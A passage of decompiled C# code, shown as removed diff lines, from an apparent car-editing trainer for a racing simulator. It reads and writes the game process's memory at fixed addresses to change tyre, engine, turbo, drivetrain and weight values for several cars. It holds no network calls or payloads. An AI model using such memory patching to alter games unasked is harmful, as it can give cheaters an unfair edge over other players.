MethodImpl(MethodImplOptions.Synchronized)] set => this._Label22 = value; - } - - internal virtual TextBox tyre_rsize - { - [DebuggerNonUserCode] get => this._tyre_rsize; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyre_rsize = value; - } - - internal virtual TextBox tyre_rheight - { - [DebuggerNonUserCode] get => this._tyre_rheight; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyre_rheight = value; - } - - internal virtual TextBox tyre_rwidth - { - [DebuggerNonUserCode] get => this._tyre_rwidth; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyre_rwidth = value; - } - - internal virtual Label Label24 - { - [DebuggerNonUserCode] get => this._Label24; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label24 = value; - } - - internal virtual TextBox tyre_fsize - { - [DebuggerNonUserCode] get => this._tyre_fsize; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyre_fsize = value; - } - - internal virtual TextBox tyre_fheight - { - [DebuggerNonUserCode] get => this._tyre_fheight; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyre_fheight = value; - } - - internal virtual TextBox tyre_fwidthrim - { - [DebuggerNonUserCode] get => this._tyre_fwidthrim; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyre_fwidthrim = value; - } - - internal virtual Label Label23 - { - [DebuggerNonUserCode] get => this._Label23; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label23 = value; - } - - internal virtual SaveFileDialog SaveFileDialog1 - { - [DebuggerNonUserCode] get => this._SaveFileDialog1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._SaveFileDialog1 = value; - } - - internal virtual MenuStrip MenuStrip1 - { - [DebuggerNonUserCode] get => this._MenuStrip1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._MenuStrip1 = value; - } - - internal virtual ToolStripMenuItem ToolStripMenuItem1 - { - [DebuggerNonUserCode] get => this._ToolStripMenuItem1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._ToolStripMenuItem1 = value; - } - - internal virtual ToolStripMenuItem FileToolStripMenuItem - { - [DebuggerNonUserCode] get => this._FileToolStripMenuItem; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.FileToolStripMenuItem_Click); - if (this._FileToolStripMenuItem != null) - this._FileToolStripMenuItem.Click -= eventHandler; - this._FileToolStripMenuItem = value; - if (this._FileToolStripMenuItem == null) - return; - this._FileToolStripMenuItem.Click += eventHandler; - } - } - - internal virtual ToolStripMenuItem SaveToolStripMenuItem - { - [DebuggerNonUserCode] get => this._SaveToolStripMenuItem; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.SaveToolStripMenuItem_Click); - if (this._SaveToolStripMenuItem != null) - this._SaveToolStripMenuItem.Click -= eventHandler; - this._SaveToolStripMenuItem = value; - if (this._SaveToolStripMenuItem == null) - return; - this._SaveToolStripMenuItem.Click += eventHandler; - } - } - - internal virtual OpenFileDialog OpenFileDialog1 - { - [DebuggerNonUserCode] get => this._OpenFileDialog1; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._OpenFileDialog1 = value; - } - - internal virtual TextBox tyre_rwidthrim - { - [DebuggerNonUserCode] get => this._tyre_rwidthrim; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyre_rwidthrim = value; - } - - internal virtual TextBox tyre_fwidth - { - [DebuggerNonUserCode] get => this._tyre_fwidth; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyre_fwidth = value; - } - - internal virtual TextBox massheight_value - { - [DebuggerNonUserCode] get => this._massheight_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._massheight_value = value; - } - - internal virtual Label Label26 - { - [DebuggerNonUserCode] get => this._Label26; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label26 = value; - } - - internal virtual TextBox enginepos_value - { - [DebuggerNonUserCode] get => this._enginepos_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._enginepos_value = value; - } - - internal virtual Label Label25 - { - [DebuggerNonUserCode] get => this._Label25; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label25 = value; - } - - internal virtual Label Label27 - { - [DebuggerNonUserCode] get => this._Label27; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set - { - EventHandler eventHandler = new EventHandler(this.Label27_Click); - if (this._Label27 != null) - this._Label27.Click -= eventHandler; - this._Label27 = value; - if (this._Label27 == null) - return; - this._Label27.Click += eventHandler; - } - } - - internal virtual TextBox tyrefronttrack_value - { - [DebuggerNonUserCode] get => this._tyrefronttrack_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyrefronttrack_value = value; - } - - internal virtual TextBox tyrefrontangle_value - { - [DebuggerNonUserCode] get => this._tyrefrontangle_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyrefrontangle_value = value; - } - - internal virtual TextBox tyrereartrack_value - { - [DebuggerNonUserCode] get => this._tyrereartrack_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyrereartrack_value = value; - } - - internal virtual TextBox tyrerearangle_value - { - [DebuggerNonUserCode] get => this._tyrerearangle_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyrerearangle_value = value; - } - - internal virtual Label Label28 - { - [DebuggerNonUserCode] get => this._Label28; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label28 = value; - } - - internal virtual TextBox tyrefrontypos_value - { - [DebuggerNonUserCode] get => this._tyrefrontypos_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyrefrontypos_value = value; - } - - internal virtual TextBox tyrerearypos_value - { - [DebuggerNonUserCode] get => this._tyrerearypos_value; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._tyrerearypos_value = value; - } - - internal virtual Label Label29 - { - [DebuggerNonUserCode] get => this._Label29; - [DebuggerNonUserCode, MethodImpl(MethodImplOptions.Synchronized)] set => this._Label29 = value; - } - - public void carUpdate(string currentCar) - { - if (currentCar.Equals("XRG")) - { - Memory.WriteMemorySingle(5854728, (float) (Conversions.ToDouble(this.tyre_fwidth.Text) / 1000.0)); - Memory.WriteMemorySingle(5854732, (float) (Conversions.ToDouble(this.tyre_fheight.Text) / 100.0)); - Memory.WriteMemorySingle(5854736, (float) (Conversions.ToDouble(this.tyre_fsize.Text) / 100.0)); - Memory.WriteMemorySingle(5854740, (float) (Conversions.ToDouble(this.tyre_fwidthrim.Text) / 1000.0)); - Memory.WriteMemorySingle(5854664, (float) (Conversions.ToDouble(this.tyre_rwidth.Text) / 1000.0)); - Memory.WriteMemorySingle(5854668, (float) (Conversions.ToDouble(this.tyre_rheight.Text) / 100.0)); - Memory.WriteMemorySingle(5854672, (float) (Conversions.ToDouble(this.tyre_rsize.Text) / 100.0)); - Memory.WriteMemorySingle(5854676, (float) (Conversions.ToDouble(this.tyre_rwidthrim.Text) / 1000.0)); - Memory.WriteMemorySingle(5852696, Conversions.ToSingle(this.enginecc_value.Text)); - Memory.WriteByte(5852700, Conversions.ToInteger(this.enginecylinders_value.Text)); - if (Operators.CompareString(this.engineturbo_value.Text, "On", false) == 0) - Memory.WriteByte(5852688, 13); - else - Memory.WriteByte(5852688, 12); - Memory.WriteMemorySingle(5852708, Conversions.ToSingle(this.engineturbolag_value.Text)); - Memory.WriteMemorySingle(5852704, Conversions.ToSingle(this.engineturbopressure_value.Text)); - Memory.WriteMemorySingle(5852724, Conversions.ToSingle(this.engineredline_value.Text)); - Memory.WriteMemorySingle(5852728, Conversions.ToSingle(this.enginetorque_value.Text)); - Memory.WriteByte(5852672, Conversions.ToInteger(this.cartype_value.Text)); - Memory.WriteMemorySingle(5853424, Conversions.ToSingle(this.fueltank_value.Text)); - Memory.WriteMemorySingle(5852712, Conversions.ToSingle(this.enginepower_value.Text)); - Memory.WriteMemorySingle(5853336, Conversions.ToSingle(this.enginepos_value.Text)); - Memory.WriteMemorySingle(5853340, Conversions.ToSingle(this.massheight_value.Text)); - Memory.WriteMemorySingle(5854780, Conversions.ToSingle(this.tyrefrontypos_value.Text)); - Memory.WriteMemorySingle(5854768, Conversions.ToSingle(this.tyrefronttrack_value.Text)); - Memory.WriteMemorySingle(5854764, Conversions.ToSingle(this.tyrefrontangle_value.Text)); - Memory.WriteMemorySingle(5854716, Conversions.ToSingle(this.tyrerearypos_value.Text)); - Memory.WriteMemorySingle(5854704, Conversions.ToSingle(this.tyrereartrack_value.Text)); - Memory.WriteMemorySingle(5854700, Conversions.ToSingle(this.tyrerearangle_value.Text)); - if (Operators.CompareString(this.transmissiontype_value.Text, "Manual", false) == 0) - Memory.WriteByte(5852676, 1); - else if (Operators.CompareString(this.transmissiontype_value.Text, "Motorbike", false) == 0) - Memory.WriteByte(5852676, 2); - else if (Operators.CompareString(this.transmissiontype_value.Text, "Sequential", false) == 0) - Memory.WriteByte(5852676, 3); - else if (Operators.CompareString(this.transmissiontype_value.Text, "??", false) == 0) - Memory.WriteByte(5852676, 4); - else if (Operators.CompareString(this.transmissiontype_value.Text, "Paddleshift", false) == 0) - Memory.WriteByte(5852676, 5); - if (Operators.CompareString(this.enginetype_value.Text, "Inline", false) == 0) - Memory.WriteByte(5852701, 0); - else if (Operators.CompareString(this.enginetype_value.Text, "Flat", false) == 0) - { - Memory.WriteByte(5852701, 1); - } - else - { - if (Operators.CompareString(this.enginetype_value.Text, "V-Type", false) != 0) - return; - Memory.WriteByte(5852701, 2); - } - } - else if (currentCar.Equals("XFG")) - { - Memory.WriteMemorySingle(5848800, (float) (Conversions.ToDouble(this.tyre_fwidth.Text) / 1000.0)); - Memory.WriteMemorySingle(5848804, (float) (Conversions.ToDouble(this.tyre_fheight.Text) / 100.0)); - Memory.WriteMemorySingle(5848808, (float) (Conversions.ToDouble(this.tyre_fsize.Text) / 100.0)); - Memory.WriteMemorySingle(5848812, (float) (Conversions.ToDouble(this.tyre_fwidthrim.Text) / 1000.0)); - Memory.WriteMemorySingle(5846936, Conversions.ToSingle(this.enginecc_value.Text)); - Memory.WriteByte(5846940, Conversions.ToInteger(this.enginecylinders_value.Text)); - if (Operators.CompareString(this.engineturbo_value.Text, "On", false) == 0) - Memory.WriteByte(5846928, 13); - else - Memory.WriteByte(5846928, 12); - Memory.WriteMemorySingle(5846948, Conversions.ToSingle(this.engineturbolag_value.Text)); - Memory.WriteMemorySingle(5846944, Conversions.ToSingle(this.engineturbopressure_value.Text)); - Memory.WriteMemorySingle(5846968, Conversions.ToSingle(this.enginetorque_value.Text)); - Memory.WriteMemorySingle(5846964, Conversions.ToSingle(this.engineredline_value.Text)); - Memory.WriteByte(5846912, Conversions.ToInteger(this.cartype_value.Text)); - Memory.WriteMemorySingle(5847664, Conversions.ToSingle(this.fueltank_value.Text)); - Memory.WriteMemorySingle(5846952, Conversions.ToSingle(this.enginepower_value.Text)); - Memory.WriteMemorySingle(5847624, Conversions.ToSingle(this.enginepos_value.Text)); - Memory.WriteMemorySingle(5847628, Conversions.ToSingle(this.massheight_value.Text)); - Memory.WriteMemorySingle(5848852, Conversions.ToSingle(this.tyrefrontypos_value.Text)); - Memory.WriteMemorySingle(5848840, Conversions.ToSingle(this.tyrefronttrack_value.Text)); - Memory.WriteMemorySingle(5848836, Conversions.ToSingle(this.tyrefrontangle_value.Text)); - if (Operators.CompareString(this.transmissiontype_value.Text, "Manual", false) == 0) - Memory.WriteByte(5846916, 1); - else if (Operators.CompareString(this.transmissiontype_value.Text, "Motorbike", false) == 0) - Memory.WriteByte(5846916, 2); - else if (Operators.CompareString(this.transmissiontype_value.Text, "Sequential", false) == 0) - Memory.WriteByte(5846916, 3); - else if (Operators.CompareString(this.transmissiontype_value.Text, "??", false) == 0) - Memory.WriteByte(5846916, 4); - else if (Operators.CompareString(this.transmissiontype_value.Text, "Paddleshift", false) == 0) - Memory.WriteByte(5846916, 5); - if (Operators.CompareString(this.enginetype_value.Text, "Inline", false) == 0) - Memory.WriteByte(5846941, 0); - else if (Operators.CompareString(this.enginetype_value.Text, "Flat", false) == 0) - { - Memory.WriteByte(5846941, 1); - } - else - { - if (Operators.CompareString(this.enginetype_value.Text, "V-Type", false) != 0) - return; - Memory.WriteByte(5846941, 2); - } - } - else - { - if (!currentCar.Equals("FBM")) - return; - Memory.WriteMemorySingle(5744376, (float) (Conversions.ToDouble(this.tyre_fwidth.Text) / 1000.0)); - Memory.WriteMemorySingle(5744380, (float) (Conversions.ToDouble(this.tyre_fheight.Text) / 100.0)); - Memory.WriteMemorySingle(5744384, (float) (Conversions.ToDouble(this.tyre_fsize.Text) / 100.0)); - Memory.WriteMemorySingle(5744388, (float) (Conversions.ToDouble(this.tyre_fwidthrim.Text) / 1000.0)); - Memory.WriteMemorySingle(5744312, (float) (Conversions.ToDouble(this.tyre_rwidth.Text) / 1000.0)); - Memory.WriteMemorySingle(5744316, (float) (Conversions.ToDouble(this.tyre_rheight.Text) / 100.0)); - Memory.WriteMemorySingle(5744320, (float) (Conversions.ToDouble(this.tyre_rsize.Text) / 100.0)); - Memory.WriteMemorySingle(5744324, (float) (Conversions.ToDouble(this.tyre_rwidthrim.Text) / 1000.0)); - Memory.WriteMemorySingle(5742484, Conversions.ToSingle(this.enginecc_value.Text)); - Memory.WriteByte(5742488, Conversions.ToInteger(this.enginecylinders_value.Text)); - if (Operators.CompareString(this.engineturbo_value.Text, "On", false) == 0) - Memory.WriteByte(5742476, 13); - else - Memory.WriteByte(5742476, 12); - Memory.WriteMemorySingle(5742496, Conversions.ToSingle(this.engineturbolag_value.Text)); - Memory.WriteMemorySingle(5742492, Conversions.ToSingle(this.engineturbopressure_value.Text)); - Memory.WriteMemorySingle(5742516, Conversions.ToSingle(this.enginetorque_value.Text)); - Memory.WriteMemorySingle(5742512, Conversions.ToSingle(this.engineredline_value.Text)); - Memory.WriteByte(5742460, Conversions.ToInteger(this.cartype_value.Text)); - Memory.WriteMemorySingle(5743060, Conversions.ToSingle(this.fueltank_value.Text)); - Memory.WriteMemorySingle(5742500, Conversions.ToSingle(this.enginepower_value.Text)); - Memory.WriteMemorySingle(5742984, Conversions.ToSingle(this.enginepos_value.Text)); - Memory.WriteMemorySingle(5742988, Conversions.ToSingle(this.massheight_value.Text)); - Memory.WriteMemorySingle(5744428, Conversions.ToSingle(this.tyrefrontypos_value.Text)); - Memory.WriteMemorySingle(5744416, Conversions.ToSingle(this.tyrefronttrack_value.Text)); - Memory.WriteMemorySingle(5744412, Conversions.ToSingle(this.tyrefrontangle_value.Text)); - Memory.WriteMemorySingle(5744364, Conversions.ToSingle(this.tyrerearypos_value.Text)); - Memory.WriteMemorySingle(5744352, Conversions.ToSingle(this.tyrereartrack_value.Text)); - Memory.WriteMemorySingle(5744348, Conversions.ToSingle(this.tyrerearangle_value.Text)); - if (Operators.CompareString(this.transmissiontype_value.Text, "Manual", false) == 0) - Memory.WriteByte(5742464, 1); - else if (Operators.CompareString(this.transmissiontype_value.Text, "Motorbike", false) == 0) - Memory.WriteByte(5742464, 2); - else if (Operators.CompareString(this.transmissiontype_value.Text, "Sequential", false) == 0) - Memory.WriteByte(5742464, 3); - else if (Operators.CompareString(this.transmissiontype_value.Text, "??", false) == 0) - Memory.WriteByte(5742464, 4); - else if (Operators.CompareString(this.transmissiontype_value.Text, "Paddleshift", false) == 0) - Memory.WriteByte(5742464, 5); - if (Operators.CompareString(this.enginetype_value.Text, "Inline", false) == 0) - Memory.WriteByte(5742489, 0); - else if (Operators.CompareString(this.enginetype_value.Text, "Flat", false) == 0) - Memory.WriteByte(5742489, 1); - else if (Operators.CompareString(this.enginetype_value.Text, "V-Type", false) == 0) - Memory.WriteByte(5742489, 2); - } - } - - public void mecanikUpdater(object currentCarValue) - { - if (currentCarValue.Equals((object) "XRG") | currentCarValue.Equals((object) "XFG") | currentCarValue.Equals((object) "UF1")) - { - this.mec_currentcylmin = Conversions.ToByte(Memory.ReadByte2(5966450)); - this.mec_cylmin.Text = Conversions.ToString(this.mec_currentcylmin); - this.mec_currentcylmax = Conversions.ToByte(Memory.ReadByte2(5966451)); - this.mec_cylmax.Text = Conversions.ToString(this.mec_currentcylmax); - this.mec_currentgearsmin = Conversions.ToByte(Memory.ReadByte2(5966446)); - this.mec_gearsmin.Text = Conversions.ToString(this.mec_currentgearsmin); - this.mec_currentgearsmax = Conversions.ToByte(Memory.ReadByte2(5966447)); - this.mec_gearsmax.Text = Conversions.ToString(this.mec_currentgearsmax); - this.mec_currentdrive = Conversions.ToByte(Memory.ReadByte(5966440)); - if (this.mec_currentdrive == (byte) 1) - this.mec_drive.Text = "RWD"; - else if (this.mec_currentdrive == (byte) 2) - this.mec_drive.Text = "FWD"; - else if (this.mec_currentdrive == (byte) 3) - this.mec_drive.Text = "AWD"; - else if (this.mec_currentdrive == (byte) 4) - this.mec_drive.Text = "Default"; - Memory.ReadSingle(5966452, ref this.mec_currentccmin); - this.mec_ccmin.Text = Conversions.ToString(this.mec_currentccmin); - Memory.ReadSingle(5966456, ref this.mec_currentccmax); - this.mec_ccmax.Text = Conversions.ToString(this.mec_currentccmax); - Memory.ReadSingle(5966460, ref this.mec_currenttorque); - this.mec_torque.Text = Conversions.ToString(this.mec_currenttorque); - Memory.ReadSingle(5966472, ref this.mec_currentpower); - this.mec_power.Text = Conversions.ToString(this.mec_currentpower); - Memory.ReadSingle(5966488, ref this.mec_currentidle); - this.mec_idle.Text = Conversions.ToString(this.mec_currentidle); - Memory.ReadSingle(5966436, ref this.mec_currentweight); - this.mec_weight.Text = Conversions.ToString(this.mec_currentweight); - } - else - { - if (!(currentCarValue.Equals((object) "LX4") | currentCarValue.Equals((object) "LX6") | currentCarValue.Equals((object) "RB4") | currentCarValue.Equals((object) "FXO") | currentCarValue.Equals((object) "XRT") | currentCarValue.Equals((object) "RAC") | currentCarValue.Equals((object) "FZ5"))) - return; - this.mec_currentcylmin = Conversions.ToByte(Memory.ReadByte2(5966390)); - this.mec_cylmin.Text = Conversions.ToString(this.mec_currentcylmin); - this.mec_currentcylmax = Conversions.ToByte(Memory.ReadByte2(5966391)); - this.mec_cylmax.Text = Conversions.ToString(this.mec_currentcylmax); - this.mec_currentgearsmin = Conversions.ToByte(Memory.ReadByte2(5966386)); - this.mec_gearsmin.Text = Conversions.ToString(this.mec_currentgearsmin); - this.mec_currentgearsmax = Conversions.ToByte(Memory.ReadByte2(5966387)); - this.mec_gearsmax.Text = Conversions.ToString(this.mec_currentgearsmax); - this.mec_currentdrive = Conversions.ToByte(Memory.ReadByte(5966380)); - if (this.mec_currentdrive == (byte) 1) - this.mec_drive.Text = "RWD"; - else if (this.mec_currentdrive == (byte) 2) - this.mec_drive.Text = "FWD"; - else if (this.mec_currentdrive == (byte) 3) - this.mec_drive.Text = "AWD"; - else if (this.mec_currentdrive == (byte) 4) - this.mec_drive.Text = "Default"; - Memory.ReadSingle(5966392, ref this.mec_currentccmin); - this.mec_ccmin.Text = Conversions.ToString(this.mec_currentccmin); - Memory.ReadSingle(5966396, ref this.mec_currentccmax); - this.mec_ccmax.Text = Conversions.ToString(this.mec_currentccmax); - Memory.ReadSingle(5966400, ref this.mec_currenttorque); - this.mec_torque.Text = Conversions.ToString(this.mec_currenttorque); - Memory.ReadSingle(5966412, ref this.mec_currentpower); - this.mec_power.Text = Conversions.ToString(this.mec_currentpower); - Memory.ReadSingle(5966428, ref this.mec_currentidle); - this.mec_idle.Text = Conversions.ToString(this.mec_currentidle); - Memory.ReadSingle(5966376, ref this.mec_currentweight); - this.mec_weight.Text = Conversions.ToString(this.mec_currentweight); - } - } - - public void mecanikWriter(object currentCarValue) - { - if (currentCarValue.Equals((object) "XRG") | currentCarValue.Equals((object) "XFG") | currentCarValue.Equals((object) "UF1")) - { - Memory.WriteByte2(5966450, Conversions.ToInteger(this.mec_cylmin.Text)); - Memory.WriteByte2(5966451, Conversions.ToInteger(this.mec_cylmax.Text)); - Memory.WriteByte2(5966446, Conversions.ToInteger(this.mec_gearsmin.Text)); - Memory.WriteByte2(5966447, Conversions.ToInteger(this.mec_gearsmax.Text)); - if (Operators.CompareString(this.mec_drive.Text, "RWD", false) == 0) - Memory.WriteByte(5966440, 1); - else if (Operators.CompareString(this.mec_drive.Text, "FWD", false) == 0) - Memory.WriteByte(5966440, 2); - else if (Operators.CompareString(this.mec_drive.Text, "AWD", false) == 0) - Memory.WriteByte(5966440, 3); - else - Memory.WriteByte(5966440, 4); - Memory.WriteMemorySingle(5966452, Conversions.ToSingle(this.mec_ccmin.Text)); - Memory.WriteMemorySingle(5966456, Conversions.ToSingle(this.mec_ccmax.Text)); - Memory.WriteMemorySingle(5966460, Conversions.ToSingle(this.mec_torque.Text)); - Memory.WriteMemorySingle(5966472, Conversions.ToSingle(this.mec_power.Text)); - Memory.WriteMemorySingle(5966488, Conversions.ToSingle(this.mec_idle.Text)); - Memory.WriteMemorySingle(5966436, Conversions.ToSingle(this.mec_weight.Text)); - } - else - { - if (!(currentCarValue.Equals((object) "LX4") | currentCarValue.Equals((object) "LX6") | currentCarValue.Equals((object) "RB4") | currentCarValue.Equals((object) "FXO") | currentCarValue.Equals((object) "XRT") | currentCarValue.Equals((object) "RAC") | currentCarValue.Equals((object) "FZ5"))) - return; - Memory.WriteByte2(5966390, Conversions.ToInteger(this.mec_cylmin.Text)); - Memory.WriteByte2(5966391, Conversions.ToInteger(this.mec_cylmax.Text)); - Memory.WriteByte2(5966386, Conversions.ToInteger(this.mec_gearsmin.Text)); - Memory.WriteByte2(5966387, Conversions.ToInteger(this.mec_gearsmax.Text)); - if (Operators.CompareString(this.mec_drive.Text, "RWD", false) == 0) - Memory.WriteByte(5966380, 1); - else if (Operators.CompareString(this.mec_drive.Text, "FWD", false) == 0) - Memory.WriteByte(5966380, 2); - else if (Operators.CompareString(this.mec_drive.Text, "AWD", false) == 0) - Memory.WriteByte(5966380, 3); - else - Memory.WriteByte(5966380, 4); - Memory.WriteMemorySingle(5966392, Conversions.ToSingle(this.mec_ccmin.Text)); - Memory.WriteMemorySingle(5966396, Conversions.ToSingle(this.mec_ccmax.Text)); - Memory.WriteMemorySingle(5966400, Conversions.ToSingle(this.mec_torque.Text)); - Memory.WriteMemorySingle(5966412, Conversions.ToSingle(this.mec_power.Text)); - Memory.WriteMemorySingle(5966428, Conversions.ToSingle(this.mec_idle.Text)); - Memory.WriteMemorySingle(5966376, Conversions.ToSingle(this.mec_weight.Text)); - } - } - - public void carSwitcher(string currentCar) - { - if (currentCar.Equals("XRG")) - { - this.tyre_rheight.ReadOnly = false; - this.tyre_rsize.ReadOnly = false; - this.tyre_rwidth.ReadOnly = false; - this.tyre_rwidthrim.ReadOnly = false; - this.tyrerearangle_value.ReadOnly = false; - this.tyrereartrack_value.ReadOnly = false; - this.tyrerearypos_value.ReadOnly = false; - Memory.ReadSingle(5854728, ref this.currenttyrefwidth); - Memory.ReadSingle(5854732, ref this.currenttyrefheight); - Memory.ReadSingle(5854736, ref this.currenttyrefsize); - Memory.ReadSingle(5854740, ref this.currenttyrefwidthrim); - this.tyre_fwidth.Text = Conversions.ToString(this.currenttyrefwidth * 1000f); - this.tyre_fheight.Text = Conversions.ToString(this.currenttyrefheight * 100f); - this.tyre_fsize.Text = Conversions.ToString(this.currenttyrefsize * 100f); - this.tyre_fwidthrim.Text = Conversions.ToString(this.currenttyrefwidthrim * 1000f); - Memory.ReadSingle(5854664, ref this.currenttyrerwidth); - Memory.ReadSingle(5854668, ref this.currenttyrerheight); - Memory.ReadSingle(5854672, ref this.currenttyrersize); - Memory.ReadSingle(5854676, ref this.currenttyrerwidthrim); - this.tyre_rwidth.Text = Conversions.ToString(this.currenttyrerwidth * 1000f); - this.tyre_rheight.Text = Conversions.ToString(this.currenttyrerheight * 100f); - this.tyre_rsize.Text = Conversions.ToString(this.currenttyrersize * 100f); - this.tyre_rwidthrim.Text = Conversions.ToString(this.currenttyrerwidthrim * 1000f); - this.currentenginecylinders = Conversions.ToByte(Memory.ReadByte(5852700)); - this.enginecylinders_value.Text = Conversions.ToString(this.currentenginecylinders); - Memory.ReadSingle(5852696, ref this.currentenginecc); - this.enginecc_value.Text = Conversions.ToString(this.currentenginecc); - this.currentengineturbo = Conversions.ToByte(Memory.ReadByte(5852688)); - this.engineturbo_value.Text = this.currentengineturbo != (byte) 12 ? "On" : "Off"; - Memory.ReadSingle(5852708, ref this.currentengineturbolag); - this.engineturbolag_value.Text = Conversions.ToString(this.currentengineturbolag); - Memory.ReadSingle(5852704, ref this.currentengineturbopressure); - this.engineturbopressure_value.Text = Conversions.ToString(this.currentengineturbopressure); - float currentenginetorque = (float) this.currentenginetorque; - Memory.ReadSingle(5852728, ref currentenginetorque); - this.currentenginetorque = (double) currentenginetorque; - this.enginetorque_value.Text = Conversions.ToString(this.currentenginetorque); - Memory.ReadSingle(5852724, ref this.currentengineredline); - this.engineredline_value.Text = Conversions.ToString(this.currentengineredline); - this.currentcartype = Conversions.ToByte(Memory.ReadByte(5852672)); - this.cartype_value.Text = Conversions.ToString(this.currentcartype); - Memory.ReadSingle(5853424, ref this.currentfueltank); - this.fueltank_value.Text = Conversions.ToString(this.currentfueltank); - Memory.ReadSingle(5852712, ref this.currentenginepower); - this.enginepower_value.Text = Conversions.ToString(this.currentenginepower); - Memory.ReadSingle(5853336, ref this.enginepos); - this.enginepos_value.Text = Conversions.ToString(this.enginepos); - Memory.ReadSingle(5853340, ref this.massheightpos); - this.massheight_value.Text = Conversions.ToString(this.massheightpos); - Memory.ReadSingle(5854780, ref this.tyrefrontypos); - this.tyrefrontypos_value.Text = Conversions.ToString(this.tyrefrontypos); - Memory.ReadSingle(5854768, ref this.tyrefronttrack); - this.tyrefronttrack_value.Text = Conversions.ToString(this.tyrefronttrack); - Memory.ReadSingle(5854764, ref this.tyrefrontangle); - this.tyrefrontangle_value.Text = Conversions.ToString(this.tyrefrontangle); - Memory.ReadSingle(5854704, ref this.tyrereartrack); - this.tyrereartrack_value.Text = Conversions.ToString(this.tyrereartrack); - Memory.ReadSingle(5854716, ref this.tyrerearypos); - this.tyrerearypos_value.Text = Conversions.ToString(this.tyrerearypos); - Memory.ReadSingle(5854700, ref this.tyrerearangle); - this.tyrerearangle_value.Text = Conversions.ToString(this.tyrerearangle); - this.currenttransmissiontype = Conversions.ToByte(Memory.ReadByte(5852676)); - if (this.currenttransmissiontype == (byte) 1) - this.transmissiontype_value.Text = "Manual"; - else if (this.currenttransmissiontype == (byte) 2) - this.transmissiontype_value.Text = "Motorbike"; - else if (this.currenttransmissiontype == (byte) 3) - this.transmissiontype_value.Text = "Sequential"; - else if (this.currenttransmissiontype == (byte) 4) - this.transmissiontype_value.Text = "??"; - else if (this.currenttransmissiontype == (byte) 5) - this.transmissiontype_value.Text = "Paddleshift"; - this.currentenginetype = Conversions.ToInteger(Memory.ReadByte(5852701)); - if (this.currentenginetype == 0) - this.enginetype_value.Text = "Inline"; - else if (this.currentenginetype == 1) - { - this.enginetype_value.Text = "Flat"; - } - else - { - if (this.currentenginetype != 2) - return; - this.enginetype_value.Text = "V-Type"; - } - } - else if (currentCar.Equals("XFG")) - { - this.tyre_rheight.ReadOnly = true; - this.tyre_rsize.ReadOnly = true; - this.tyre_rwidth.ReadOnly = true; - this.tyre_rwidthrim.ReadOnly = true; - this.tyrerearangle_value.ReadOnly = true; - this.tyrereartrack_value.ReadOnly = true; - this.tyrerearypos_value.ReadOnly = true; - Memory.ReadSingle(5848800, ref this.currenttyrefwidth); - Memory.ReadSingle(5848804, ref this.currenttyrefheight); - Memory.ReadSingle(5848808, ref this.currenttyrefsize); - Memory.ReadSingle(5848812, ref this.currenttyrefwidthrim); - this.tyre_fwidth.Text = Conversions.ToString(this.currenttyrefwidth * 1000f); - this.tyre_fheight.Text = Conversions.ToString(this.currenttyrefheight * 100f); - this.tyre_fsize.Text = Conversions.ToString(this.currenttyrefsize * 100f); - this.tyre_fwidthrim.Text = Conversions.ToString(this.currenttyrefwidth * 1000f); - this.currentenginecylinders = Conversions.ToByte(Memory.ReadByte(5846940)); - this.enginecylinders_value.Text = Conversions.ToString(this.currentenginecylinders); - Memory.ReadSingle(5846936, ref this.currentenginecc); - this.enginecc_value.Text = Conversions.ToString(this.currentenginecc); - this.currentengineturbo = Conversions.ToByte(Memory.ReadByte(5846928)); - this.engineturbo_value.Text = this.currentengineturbo != (byte) 12 ? "On" : "Off"; - Memory.ReadSingle(5846948, ref this.currentengineturbolag); - this.engineturbolag_value.Text = Conversions.ToString(this.currentengineturbolag); - Memory.ReadSingle(5846944, ref this.currentengineturbopressure); - this.engineturbopressure_value.Text = Conversions.ToString(this.currentengineturbopressure); - float currentenginetorque = (float) this.currentenginetorque; - Memory.ReadSingle(5846968, ref currentenginetorque); - this.currentenginetorque = (double) currentenginetorque; - this.enginetorque_value.Text = Conversions.ToString(this.currentenginetorque); - Memory.ReadSingle(5846964, ref this.currentengineredline); - this.engineredline_value.Text = Conversions.ToString(this.currentengineredline); - this.currentcartype = Conversions.ToByte(Memory.ReadByte(5846912)); - this.cartype_value.Text = Conversions.ToString(this.currentcartype); - Memory.ReadSingle(5847664, ref this.currentfueltank); - 